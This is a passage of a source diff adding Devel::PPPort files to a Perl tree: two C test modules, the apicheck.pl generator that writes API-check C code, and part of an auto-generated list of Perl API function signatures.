+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+__TESTS__
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/module2.c b/gnu/usr.bin/perl/dist/Devel-PPPort/module2.c
new file mode 100644
index 00000000000..a9a6f2aa446
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/module2.c
@@ -0,0 +1,54 @@
+/*******************************************************************************
+*
+* Perl/Pollution/Portability
+*
+********************************************************************************
+*
+* Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+* Version 2.x, Copyright (C) 2001, Paul Marquess.
+* Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+* This program is free software; you can redistribute it and/or
+* modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#ifndef PATCHLEVEL
+#include "patchlevel.h"
+#endif
+
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_PL_signals_GLOBAL
+#define NEED_PL_parser
+#define DPPP_PL_parser_NO_DUMMY
+#include "ppport.h"
+
+void call_newCONSTSUB_2(void)
+{
+ newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_2", newSViv(2));
+}
+
+U32 get_PL_signals_2(void)
+{
+ return PL_signals;
+}
+
+int no_dummy_parser_vars(int check)
+{
+ if (check == 0 || PL_parser)
+ {
+ line_t volatile my_copline;
+ line_t volatile *my_p_copline;
+ my_copline = PL_copline;
+ my_p_copline = &PL_copline;
+ PL_copline = my_copline;
+ PL_copline = *my_p_copline;
+ return 1;
+ }
+
+ return 0;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/module3.c b/gnu/usr.bin/perl/dist/Devel-PPPort/module3.c
new file mode 100644
index 00000000000..417490e0125
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/module3.c
@@ -0,0 +1,71 @@
+/*******************************************************************************
+*
+* Perl/Pollution/Portability
+*
+********************************************************************************
+*
+* Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+* Version 2.x, Copyright (C) 2001, Paul Marquess.
+* Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+* This program is free software; you can redistribute it and/or
+* modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+#include "EXTERN.h"
+#include "perl.h"
+
+#define NEED_PL_parser
+#define NO_XSLOCKS
+#include "XSUB.h"
+
+#include "ppport.h"
+
+static void throws_exception(int throw_e)
+{
+ if (throw_e)
+ croak("boo\n");
+}
+
+int exception(int throw_e)
+{
+ dTHR;
+ dXCPT;
+ SV *caught = get_sv("Devel::PPPort::exception_caught", 0);
+
+ XCPT_TRY_START {
+ throws_exception(throw_e);
+ } XCPT_TRY_END
+
+ XCPT_CATCH
+ {
+ sv_setiv(caught, 1);
+ XCPT_RETHROW;
+ }
+
+ sv_setiv(caught, 0);
+
+ return 42;
+}
+
+void call_newCONSTSUB_3(void)
+{
+ newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_3", newSViv(3));
+}
+
+U32 get_PL_signals_3(void)
+{
+ return PL_signals;
+}
+
+int dummy_parser_warning(void)
+{
+ char * volatile my_bufptr;
+ char * volatile *my_p_bufptr;
+ my_bufptr = PL_bufptr;
+ my_p_bufptr = &PL_bufptr;
+ PL_bufptr = my_bufptr;
+ PL_bufptr = *my_p_bufptr;
+ return &PL_bufptr != NULL;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl
new file mode 100644
index 00000000000..69d85027fdb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl
@@ -0,0 +1,326 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# apicheck.pl -- generate C source for automated API check
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+require './parts/ppptools.pl';
+
+if (@ARGV) {
+ my $file = pop @ARGV;
+ open OUT, ">$file" or die "$file: $!\n";
+}
+else {
+ *OUT = \*STDOUT;
+}
+
+my @f = parse_embed(qw( parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc ));
+
+my %todo = %{&parse_todo};
+
+my %tmap = (
+ void => 'int',
+);
+
+my %amap = (
+ SP => 'SP',
+ type => 'int',
+ cast => 'int',
+);
+
+my %void = (
+ void => 1,
+ Free_t => 1,
+ Signal_t => 1,
+);
+
+my %castvoid = (
+ map { ($_ => 1) } qw(
+ Nullav
+ Nullcv
+ Nullhv
+ Nullch
+ Nullsv
+ HEf_SVKEY
+ SP
+ MARK
+ SVt_PV
+ SVt_IV
+ SVt_NV
+ SVt_PVMG
+ SVt_PVAV
+ SVt_PVHV
+ SVt_PVCV
+ SvUOK
+ G_SCALAR
+ G_ARRAY
+ G_VOID
+ G_DISCARD
+ G_EVAL
+ G_NOARGS
+ XS_VERSION
+ ),
+);
+
+my %ignorerv = (
+ map { ($_ => 1) } qw(
+ newCONSTSUB
+ ),
+);
+
+my %stack = (
+ ORIGMARK => ['dORIGMARK;'],
+ POPpx => ['STRLEN n_a;'],
+ POPpbytex => ['STRLEN n_a;'],
+ PUSHp => ['dTARG;'],
+ PUSHn => ['dTARG;'],
+ PUSHi => ['dTARG;'],
+ PUSHu => ['dTARG;'],
+ XPUSHp => ['dTARG;'],
+ XPUSHn => ['dTARG;'],
+ XPUSHi => ['dTARG;'],
+ XPUSHu => ['dTARG;'],
+ UNDERBAR => ['dUNDERBAR;'],
+ XCPT_TRY_START => ['dXCPT;'],
+ XCPT_TRY_END => ['dXCPT;'],
+ XCPT_CATCH => ['dXCPT;'],
+ XCPT_RETHROW => ['dXCPT;'],
+);
+
+my %ignore = (
+ map { ($_ => 1) } qw(
+ svtype
+ items
+ ix
+ dXSI32
+ XS
+ CLASS
+ THIS
+ RETVAL
+ StructCopy
+ ),
+);
+
+print OUT <<HEAD;
+/*
+ * !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
+ * This file is built by $0.
+ * Any changes made here will be lost!
+ */
+
+#include "EXTERN.h"
+#include "perl.h"
+
+#define NO_XSLOCKS
+#include "XSUB.h"
+
+#ifdef DPPP_APICHECK_NO_PPPORT_H
+
+/* This is just to avoid too many baseline failures with perls < 5.6.0 */
+
+#ifndef dTHX
+# define dTHX extern int Perl___notused
+#endif
+
+#else
+
+#define NEED_PL_signals
+#define NEED_PL_parser
+#define NEED_caller_cx
+#define NEED_eval_pv
+#define NEED_grok_bin
+#define NEED_grok_hex
+#define NEED_grok_number
+#define NEED_grok_numeric_radix
+#define NEED_grok_oct
+#define NEED_gv_fetchpvn_flags
+#define NEED_load_module
+#define NEED_mg_findext
+#define NEED_my_snprintf
+#define NEED_my_sprintf
+#define NEED_my_strlcat
+#define NEED_my_strlcpy
+#define NEED_newCONSTSUB
+#define NEED_newRV_noinc
+#define NEED_newSV_type
+#define NEED_newSVpvn_flags
+#define NEED_newSVpvn_share
+#define NEED_pv_display
+#define NEED_pv_escape
+#define NEED_pv_pretty
+#define NEED_sv_2pv_flags
+#define NEED_sv_2pvbyte
+#define NEED_sv_catpvf_mg
+#define NEED_sv_catpvf_mg_nocontext
+#define NEED_sv_pvn_force_flags
+#define NEED_sv_setpvf_mg
+#define NEED_sv_setpvf_mg_nocontext
+#define NEED_sv_unmagicext
+#define NEED_SvRX
+#define NEED_vload_module
+#define NEED_vnewSVpvf
+#define NEED_warner
+
+#include "ppport.h"
+
+#endif
+
+static int VARarg1;
+static char *VARarg2;
+static double VARarg3;
+
+#if defined(PERL_BCDVERSION) && (PERL_BCDVERSION < 0x5009005)
+/* needed to make PL_parser apicheck work */
+typedef void yy_parser;
+#endif
+
+HEAD
+
+if (@ARGV) {
+ my %want = map { ($_ => 0) } @ARGV;
+ @f = grep { exists $want{$_->{name}} } @f;
+ for (@f) { $want{$_->{name}}++ }
+ for (keys %want) {
+ die "nothing found for '$_'\n" unless $want{$_};
+ }
+}
+
+my $f;
+for $f (@f) {
+ $ignore{$f->{name}} and next;
+ $f->{flags}{A} or next; # only public API members
+
+ $ignore{$f->{name}} = 1; # ignore duplicates
+
+ my $Perl_ = $f->{flags}{p} ? 'Perl_' : '';
+
+ my $stack = '';
+ my @arg;
+ my $aTHX = '';
+
+ my $i = 1;
+ my $ca;
+ my $varargs = 0;
+ for $ca (@{$f->{args}}) {
+ my $a = $ca->[0];
+ if ($a eq '...') {
+ $varargs = 1;
+ push @arg, qw(VARarg1 VARarg2 VARarg3);
+ last;
+ }
+ my($n, $p, $d) = $a =~ /^ (\w+(?:\s+\w+)*)\s* # type name => $n
+ (\**) # pointer => $p
+ (?:\s*const\s*)? # const
+ ((?:\[[^\]]*\])*) # dimension => $d
+ $/x
+ or die "$0 - cannot parse argument: [$a]\n";
+ if (exists $amap{$n}) {
+ push @arg, $amap{$n};
+ next;
+ }
+ $n = $tmap{$n} || $n;
+ if ($n eq 'const char' and $p eq '*' and !$f->{flags}{f}) {
+ push @arg, '"foo"';
+ }
+ else {
+ my $v = 'arg' . $i++;
+ push @arg, $v;
+ $stack .= " static $n $p$v$d;\n";
+ }
+ }
+
+ unless ($f->{flags}{n} || $f->{flags}{'m'}) {
+ $stack = " dTHX;\n$stack";
+ $aTHX = @arg ? 'aTHX_ ' : 'aTHX';
+ }
+
+ if ($stack{$f->{name}}) {
+ my $s = '';
+ for (@{$stack{$f->{name}}}) {
+ $s .= " $_\n";
+ }
+ $stack = "$s$stack";
+ }
+
+ my $args = join ', ', @arg;
+ my $rvt = $f->{ret} || 'void';
+ my $ret;
+ if ($void{$rvt}) {
+ $ret = $castvoid{$f->{name}} ? '(void) ' : '';
+ }
+ else {
+ $stack .= " $rvt rval;\n";
+ $ret = $ignorerv{$f->{name}} ? '(void) ' : "rval = ";
+ }
+ my $aTHX_args = "$aTHX$args";
+
+ if (!$f->{flags}{'m'} or $f->{flags}{'b'} or @arg > 0) {
+ $args = "($args)";
+ $aTHX_args = "($aTHX_args)";
+ }
+
+ print OUT <<HEAD;
+/******************************************************************************
+*
+* $f->{name}
+*
+******************************************************************************/
+
+HEAD
+
+ if ($todo{$f->{name}}) {
+ my($ver,$sub) = $todo{$f->{name}} =~ /^5\.(\d{3})(\d{3})$/ or die;
+ for ($ver, $sub) {
+ s/^0+(\d)/$1/
+ }
+ if ($ver < 6 && $sub > 0) {
+ $sub =~ s/0$// or die;
+ }
+ print OUT "#if PERL_VERSION > $ver || (PERL_VERSION == $ver && PERL_SUBVERSION >= $sub) /* TODO */\n";
+ }
+
+ my $final = $varargs
+ ? "$Perl_$f->{name}$aTHX_args"
+ : "$f->{name}$args";
+
+ $f->{cond} and print OUT "#if $f->{cond}\n";
+
+ print OUT <<END;
+void _DPPP_test_$f->{name} (void)
+{
+ dXSARGS;
+$stack
+ {
+#ifdef $f->{name}
+ $ret$f->{name}$args;
+#endif
+ }
+
+ {
+#ifdef $f->{name}
+ $ret$final;
+#else
+ $ret$Perl_$f->{name}$aTHX_args;
+#endif
+ }
+}
+END
+
+ $f->{cond} and print OUT "#endif\n";
+ $todo{$f->{name}} and print OUT "#endif\n";
+
+ print OUT "\n";
+}
+
+@ARGV and close OUT;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc
new file mode 100644
index 00000000000..fe153541b2a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc
@@ -0,0 +1,485 @@
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: !!!! Do NOT edit this file directly! -- Edit devel/mkapidoc.sh instead. !!!!
+:
+: This file was automatically generated from the API documentation scattered
+: all over the Perl source code. To learn more about how all this works,
+: please read the F<HACKERS> file that came with this distribution.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are documented in the Perl
+: source code, but are not contained in F<embed.fnc>.
+:
+
+AmUx|Perl_keyword_plugin_t|PL_keyword_plugin
+AmU|Perl_check_t *|PL_check
+AmU|yy_parser *|PL_parser
+AmU||G_ARRAY
+AmU||G_DISCARD
+AmU||G_EVAL
+AmU||G_NOARGS
+AmU||G_SCALAR
+AmU||G_VOID
+AmU||HEf_SVKEY
+AmU||MARK
+AmU||Nullav
+AmU||Nullch
+AmU||Nullcv
+AmU||Nullhv
+AmU||Nullsv
+AmU||ORIGMARK
+AmU||SP
+AmU||SVt_INVLIST
+AmU||SVt_IV
+AmU||SVt_NULL
+AmU||SVt_NV
+AmU||SVt_PV
+AmU||SVt_PVAV
+AmU||SVt_PVCV
+AmU||SVt_PVFM
+AmU||SVt_PVGV
+AmU||SVt_PVHV
+AmU||SVt_PVIO
+AmU||SVt_PVIV
+AmU||SVt_PVLV
+AmU||SVt_PVMG
+AmU||SVt_PVNV
+AmU||SVt_REGEXP
+AmU||UNDERBAR
+AmU||XCPT_CATCH
+AmU||XCPT_TRY_END
+AmU||XCPT_TRY_START
+AmU||XS
+AmU||XS_EXTERNAL
+AmU||XS_INTERNAL
+AmU||XS_VERSION
+AmU||newXSproto|char* name|XSUBADDR_t f|char* filename|const char *proto
+AmU||svtype
+Ama|SV*|newSVpvs_flags|const char* s|U32 flags
+Ama|SV*|newSVpvs_share|const char* s
+Ama|SV*|newSVpvs|const char* s
+Ama|char*|savepvs|const char* s
+Ama|char*|savesharedpvs|const char* s
+Amn|(whatever)|RETVAL
+Amn|(whatever)|THIS
+Amn|HV*|PL_modglobal
+Amn|I32|ax
+Amn|I32|items
+Amn|I32|ix
+Amn|IV|POPi
+Amn|NV|POPn
+Amn|Perl_ophook_t|PL_opfreehook
+Amn|STRLEN|PL_na
+Amn|SV*|POPs
+Amn|SV|PL_sv_no
+Amn|SV|PL_sv_undef
+Amn|SV|PL_sv_yes
+Amn|U32|GIMME
+Amn|U32|GIMME_V
+Amn|UV|POPu
+Amn|char*|CLASS
+Amn|char*|POPp
+Amn|char*|POPpbytex
+Amn|char*|POPpx
+Amn|long|POPl
+Amn|long|POPul
+Amn|peep_t|PL_peepp
+Amn|peep_t|PL_rpeepp
+Amn|void|DECLARATION_FOR_LC_NUMERIC_MANIPULATION
+Ams||ENTER
+Ams||FREETMPS
+Ams||LEAVE
+Ams||MULTICALL
+Ams||POP_MULTICALL
+Ams||PUSH_MULTICALL
+Ams||PUTBACK
+Ams||SAVETMPS
+Ams||SPAGAIN
+Ams||XCPT_RETHROW
+Ams||XSRETURN_EMPTY
+Ams||XSRETURN_NO
+Ams||XSRETURN_UNDEF
+Ams||XSRETURN_YES
+Ams||XS_APIVERSION_BOOTCHECK
+Ams||XS_VERSION_BOOTCHECK
+Ams||dAX
+Ams||dAXMARK
+Ams||dITEMS
+Ams||dMARK
+Ams||dMULTICALL
+Ams||dORIGMARK
+Ams||dSP
+Ams||dUNDERBAR
+Ams||dXCPT
+Ams||dXSARGS
+Ams||dXSI32
+AmxU|PAD *|PL_comppad
+AmxU|PADNAMELIST *|PL_comppad_name
+AmxU|SV **|PL_curpad
+AmxU|SV *|PL_parser-E<gt>linestr
+AmxU|char *|PL_parser-E<gt>bufend
+AmxU|char *|PL_parser-E<gt>bufptr
+AmxU|char *|PL_parser-E<gt>linestart
+Amx|COPHH *|cophh_copy|COPHH *cophh
+Amx|COPHH *|cophh_delete_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|const char *key|U32 flags
+Amx|COPHH *|cophh_delete_pv|const COPHH *cophh|const char *key|U32 hash|U32 flags
+Amx|COPHH *|cophh_delete_sv|const COPHH *cophh|SV *key|U32 hash|U32 flags
+Amx|COPHH *|cophh_new_empty
+Amx|COPHH *|cophh_store_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|SV *value|U32 flags
+Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|const char *key|SV *value|U32 flags
+Amx|COPHH *|cophh_store_pv|const COPHH *cophh|const char *key|U32 hash|SV *value|U32 flags
+Amx|COPHH *|cophh_store_sv|const COPHH *cophh|SV *key|U32 hash|SV *value|U32 flags
+Amx|HV *|cophh_2hv|const COPHH *cophh|U32 flags
+Amx|PAD **|PadlistARRAY|PADLIST padlist
+Amx|PADLIST *|CvPADLIST|CV *cv
+Amx|PADNAME **|PadlistNAMESARRAY|PADLIST padlist
+Amx|PADNAME **|PadnamelistARRAY|PADNAMELIST pnl
+Amx|PADNAMELIST *|PadlistNAMES|PADLIST padlist
+Amx|SSize_t|PadMAX|PAD pad
+Amx|SSize_t|PadlistMAX|PADLIST padlist
+Amx|SSize_t|PadlistNAMESMAX|PADLIST padlist
+Amx|SSize_t|PadnameREFCNT|PADNAME pn
+Amx|SSize_t|PadnamelistMAX|PADNAMELIST pnl
+Amx|SSize_t|PadnamelistREFCNT|PADNAMELIST pnl
+Amx|STRLEN|PadnameLEN|PADNAME pn
+Amx|SV **|PadARRAY|PAD pad
+Amx|SV *|PadnameSV|PADNAME pn
+Amx|SV *|cophh_fetch_pvn|const COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|const char *key|U32 flags
+Amx|SV *|cophh_fetch_pv|const COPHH *cophh|const char *key|U32 hash|U32 flags
+Amx|SV *|cophh_fetch_sv|const COPHH *cophh|SV *key|U32 hash|U32 flags
+Amx|SV*|newSVpadname|PADNAME *pn
+Amx|U32|PadlistREFCNT|PADLIST padlist
+Amx|bool|PadnameUTF8|PADNAME pn
+Amx|char *|PadnamePV|PADNAME pn
+Amx|void|BhkDISABLE|BHK *hk|which
+Amx|void|BhkENABLE|BHK *hk|which
+Amx|void|BhkENTRY_set|BHK *hk|which|void *ptr
+Amx|void|PadnameREFCNT_dec|PADNAME pn
+Amx|void|PadnamelistREFCNT_dec|PADNAMELIST pnl
+Amx|void|cophh_free|COPHH *cophh
+Amx|void|lex_stuff_pvs|const char *pv|U32 flags
+Am|AV*|GvAV|GV* gv
+Am|CV*|GvCV|GV* gv
+Am|HV *|cop_hints_2hv|const COP *cop|U32 flags
+Am|HV*|CvSTASH|CV* cv
+Am|HV*|GvHV|GV* gv
+Am|HV*|SvSTASH|SV* sv
+Am|HV*|gv_stashpvs|const char* name|I32 create
+Am|IV|SvIVX|SV* sv
+Am|IV|SvIV_nomg|SV* sv
+Am|IV|SvIVx|SV* sv
+Am|IV|SvIV|SV* sv
+Am|NV|SvNVX|SV* sv
+Am|NV|SvNV_nomg|SV* sv
+Am|NV|SvNVx|SV* sv
+Am|NV|SvNV|SV* sv
+Am|OP*|LINKLIST|OP *o
+Am|OP*|OpSIBLING|OP *o
+Am|PADOFFSET|pad_add_name_pvs|const char *name|U32 flags|HV *typestash|HV *ourstash
+Am|PADOFFSET|pad_findmy_pvs|const char *name|U32 flags
+Am|REGEXP *|SvRX|SV *sv
+Am|STRLEN|HeKLEN|HE* he
+Am|STRLEN|HvENAMELEN|HV *stash
+Am|STRLEN|HvNAMELEN|HV *stash
+Am|STRLEN|SvCUR|SV* sv
+Am|STRLEN|SvLEN|SV* sv
+Am|STRLEN|UTF8SKIP|char* s
+Am|STRLEN|UVCHR_SKIP|UV cp
+Am|STRLEN|isUTF8_CHAR|const U8 *s|const U8 *e
+Am|SV *|boolSV|bool b
+Am|SV *|cop_hints_fetch_pvn|const COP *cop|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Am|SV *|cop_hints_fetch_pvs|const COP *cop|const char *key|U32 flags
+Am|SV *|cop_hints_fetch_pv|const COP *cop|const char *key|U32 hash|U32 flags
+Am|SV *|cop_hints_fetch_sv|const COP *cop|SV *key|U32 hash|U32 flags
+Am|SV *|sv_setref_pvs|const char* s
+Am|SV**|hv_fetchs|HV* tb|const char* key|I32 lval
+Am|SV**|hv_stores|HV* tb|const char* key|NULLOK SV* val
+Am|SV*|GvSV|GV* gv
+Am|SV*|HeSVKEY_force|HE* he
+Am|SV*|HeSVKEY_set|HE* he|SV* sv
+Am|SV*|HeSVKEY|HE* he
+Am|SV*|HeVAL|HE* he
+Am|SV*|ST|int ix
+Am|SV*|SvREFCNT_inc_NN|SV* sv
+Am|SV*|SvREFCNT_inc_simple_NN|SV* sv
+Am|SV*|SvREFCNT_inc_simple|SV* sv
+Am|SV*|SvREFCNT_inc|SV* sv
+Am|SV*|SvRV|SV* sv
+Am|SV*|newRV_inc|SV* sv
+Am|SV*|newSVpvn_utf8|NULLOK const char* s|STRLEN len|U32 utf8
+Am|U32|HeHASH|HE* he
+Am|U32|HeUTF8|HE* he
+Am|U32|OP_CLASS|OP *o
+Am|U32|SvGAMAGIC|SV* sv
+Am|U32|SvIOKp|SV* sv
+Am|U32|SvIOK|SV* sv
+Am|U32|SvIsCOW|SV* sv
+Am|U32|SvNIOKp|SV* sv
+Am|U32|SvNIOK|SV* sv
+Am|U32|SvNOKp|SV* sv
+Am|U32|SvNOK|SV* sv
+Am|U32|SvOK|SV* sv
+Am|U32|SvOOK|SV* sv
+Am|U32|SvPOKp|SV* sv
+Am|U32|SvPOK|SV* sv
+Am|U32|SvREFCNT|SV* sv
+Am|U32|SvROK|SV* sv
+Am|U32|SvUTF8|SV* sv
+Am|U32|XopFLAGS|XOP *xop
+Am|U8|READ_XDIGIT|char str*
+Am|U8|toFOLD|U8 ch
+Am|U8|toLOWER_L1|U8 ch
+Am|U8|toLOWER_LC|U8 ch
+Am|U8|toLOWER|U8 ch
+Am|U8|toTITLE|U8 ch
+Am|U8|toUPPER|U8 ch
+Am|UV|SvUVX|SV* sv
+Am|UV|SvUV_nomg|SV* sv
+Am|UV|SvUVx|SV* sv
+Am|UV|SvUV|SV* sv
+Am|UV|toFOLD_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toFOLD_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toLOWER_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toLOWER_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toTITLE_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toTITLE_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toUPPER_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toUPPER_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|bool|DO_UTF8|SV* sv
+Am|bool|OP_TYPE_IS_OR_WAS|OP *o|Optype type
+Am|bool|OP_TYPE_IS|OP *o|Optype type
+Am|bool|OpHAS_SIBLING|OP *o
+Am|bool|SvIOK_UV|SV* sv
+Am|bool|SvIOK_notUV|SV* sv
+Am|bool|SvIsCOW_shared_hash|SV* sv
+Am|bool|SvRXOK|SV* sv
+Am|bool|SvTAINTED|SV* sv
+Am|bool|SvTRUE_nomg|SV* sv
+Am|bool|SvTRUE|SV* sv
+Am|bool|SvUOK|SV* sv
+Am|bool|SvVOK|SV* sv
+Am|bool|isALPHANUMERIC|char ch
+Am|bool|isALPHA|char ch
+Am|bool|isASCII|char ch
+Am|bool|isBLANK|char ch
+Am|bool|isCNTRL|char ch
+Am|bool|isDIGIT|char ch
+Am|bool|isGRAPH|char ch
+Am|bool|isIDCONT|char ch
+Am|bool|isIDFIRST|char ch
+Am|bool|isLOWER|char ch
+Am|bool|isOCTAL|char ch
+Am|bool|isPRINT|char ch
+Am|bool|isPSXSPC|char ch
+Am|bool|isPUNCT|char ch
+Am|bool|isSPACE|char ch
+Am|bool|isUPPER|char ch
+Am|bool|isWORDCHAR|char ch
+Am|bool|isXDIGIT|char ch
+Am|bool|memEQ|char* s1|char* s2|STRLEN len
+Am|bool|memNE|char* s1|char* s2|STRLEN len
+Am|bool|strEQ|char* s1|char* s2
+Am|bool|strGE|char* s1|char* s2
+Am|bool|strGT|char* s1|char* s2
+Am|bool|strLE|char* s1|char* s2
+Am|bool|strLT|char* s1|char* s2
+Am|bool|strNE|char* s1|char* s2
+Am|bool|strnEQ|char* s1|char* s2|STRLEN len
+Am|bool|strnNE|char* s1|char* s2|STRLEN len
+Am|char *|SvGROW|SV* sv|STRLEN len
+Am|char*|HePV|HE* he|STRLEN len
+Am|char*|HvENAME|HV* stash
+Am|char*|HvNAME|HV* stash
+Am|char*|SvEND|SV* sv
+Am|char*|SvPVX|SV* sv
+Am|char*|SvPV_force_nomg|SV* sv|STRLEN len
+Am|char*|SvPV_force|SV* sv|STRLEN len
+Am|char*|SvPV_nolen|SV* sv
+Am|char*|SvPV_nomg_nolen|SV* sv
+Am|char*|SvPV_nomg|SV* sv|STRLEN len
+Am|char*|SvPVbyte_force|SV* sv|STRLEN len
+Am|char*|SvPVbyte_nolen|SV* sv
+Am|char*|SvPVbytex_force|SV* sv|STRLEN len
+Am|char*|SvPVbytex|SV* sv|STRLEN len
+Am|char*|SvPVbyte|SV* sv|STRLEN len
+Am|char*|SvPVutf8_force|SV* sv|STRLEN len
+Am|char*|SvPVutf8_nolen|SV* sv
+Am|char*|SvPVutf8x_force|SV* sv|STRLEN len
+Am|char*|SvPVutf8x|SV* sv|STRLEN len
+Am|char*|SvPVutf8|SV* sv|STRLEN len
+Am|char*|SvPVx|SV* sv|STRLEN len
+Am|char*|SvPV|SV* sv|STRLEN len
+Am|const char *|OP_DESC|OP *o
+Am|const char *|OP_NAME|OP *o
+Am|int|AvFILL|AV* av
+Am|svtype|SvTYPE|SV* sv
+Am|unsigned char|HvENAMEUTF8|HV *stash
+Am|unsigned char|HvNAMEUTF8|HV *stash
+Am|void *|CopyD|void* src|void* dest|int nitems|type
+Am|void *|MoveD|void* src|void* dest|int nitems|type
+Am|void *|ZeroD|void* dest|int nitems|type
+Am|void*|HeKEY|HE* he
+Am|void|Copy|void* src|void* dest|int nitems|type
+Am|void|EXTEND|SP|SSize_t nitems
+Am|void|Move|void* src|void* dest|int nitems|type
+Am|void|Newxc|void* ptr|int nitems|type|cast
+Am|void|Newxz|void* ptr|int nitems|type
+Am|void|Newx|void* ptr|int nitems|type
+Am|void|OpLASTSIB_set|OP *o|OP *parent
+Am|void|OpMAYBESIB_set|OP *o|OP *sib|OP *parent
+Am|void|OpMORESIB_set|OP *o|OP *sib
+Am|void|PERL_SYS_INIT3|int *argc|char*** argv|char*** env
+Am|void|PERL_SYS_INIT|int *argc|char*** argv
+Am|void|PERL_SYS_TERM|
+Am|void|PUSHMARK|SP
+Am|void|PUSHi|IV iv
+Am|void|PUSHmortal
+Am|void|PUSHn|NV nv
+Am|void|PUSHp|char* str|STRLEN len
+Am|void|PUSHs|SV* sv
+Am|void|PUSHu|UV uv
+Am|void|PoisonFree|void* dest|int nitems|type
+Am|void|PoisonNew|void* dest|int nitems|type
+Am|void|PoisonWith|void* dest|int nitems|type|U8 byte
+Am|void|Poison|void* dest|int nitems|type
+Am|void|RESTORE_LC_NUMERIC
+Am|void|Renewc|void* ptr|int nitems|type|cast
+Am|void|Renew|void* ptr|int nitems|type
+Am|void|STORE_LC_NUMERIC_FORCE_TO_UNDERLYING
+Am|void|STORE_LC_NUMERIC_SET_TO_NEEDED
+Am|void|Safefree|void* ptr
+Am|void|StructCopy|type *src|type *dest|type
+Am|void|SvCUR_set|SV* sv|STRLEN len
+Am|void|SvGETMAGIC|SV* sv
+Am|void|SvIOK_off|SV* sv
+Am|void|SvIOK_only_UV|SV* sv
+Am|void|SvIOK_only|SV* sv
+Am|void|SvIOK_on|SV* sv
+Am|void|SvIV_set|SV* sv|IV val
+Am|void|SvLEN_set|SV* sv|STRLEN len
+Am|void|SvLOCK|SV* sv
+Am|void|SvMAGIC_set|SV* sv|MAGIC* val
+Am|void|SvNIOK_off|SV* sv
+Am|void|SvNOK_off|SV* sv
+Am|void|SvNOK_only|SV* sv
+Am|void|SvNOK_on|SV* sv
+Am|void|SvNV_set|SV* sv|NV val
+Am|void|SvOOK_offset|NN SV*sv|STRLEN len
+Am|void|SvPOK_off|SV* sv
+Am|void|SvPOK_only_UTF8|SV* sv
+Am|void|SvPOK_only|SV* sv
+Am|void|SvPOK_on|SV* sv
+Am|void|SvPV_set|SV* sv|char* val
+Am|void|SvREFCNT_dec_NN|SV* sv
+Am|void|SvREFCNT_dec|SV* sv
+Am|void|SvREFCNT_inc_simple_void_NN|SV* sv
+Am|void|SvREFCNT_inc_simple_void|SV* sv
+Am|void|SvREFCNT_inc_void_NN|SV* sv
+Am|void|SvREFCNT_inc_void|SV* sv
+Am|void|SvROK_off|SV* sv
+Am|void|SvROK_on|SV* sv
+Am|void|SvRV_set|SV* sv|SV* val
+Am|void|SvSETMAGIC|SV* sv
+Am|void|SvSHARE|SV* sv
+Am|void|SvSTASH_set|SV* sv|HV* val
+Am|void|SvSetMagicSV_nosteal|SV* dsv|SV* ssv
+Am|void|SvSetMagicSV|SV* dsv|SV* ssv
+Am|void|SvSetSV_nosteal|SV* dsv|SV* ssv
+Am|void|SvSetSV|SV* dsv|SV* ssv
+Am|void|SvTAINTED_off|SV* sv
+Am|void|SvTAINTED_on|SV* sv
+Am|void|SvTAINT|SV* sv
+Am|void|SvUNLOCK|SV* sv
+Am|void|SvUPGRADE|SV* sv|svtype type
+Am|void|SvUTF8_off|SV *sv
+Am|void|SvUTF8_on|SV *sv
+Am|void|SvUV_set|SV* sv|UV val
+Am|void|XPUSHi|IV iv
+Am|void|XPUSHmortal
+Am|void|XPUSHn|NV nv
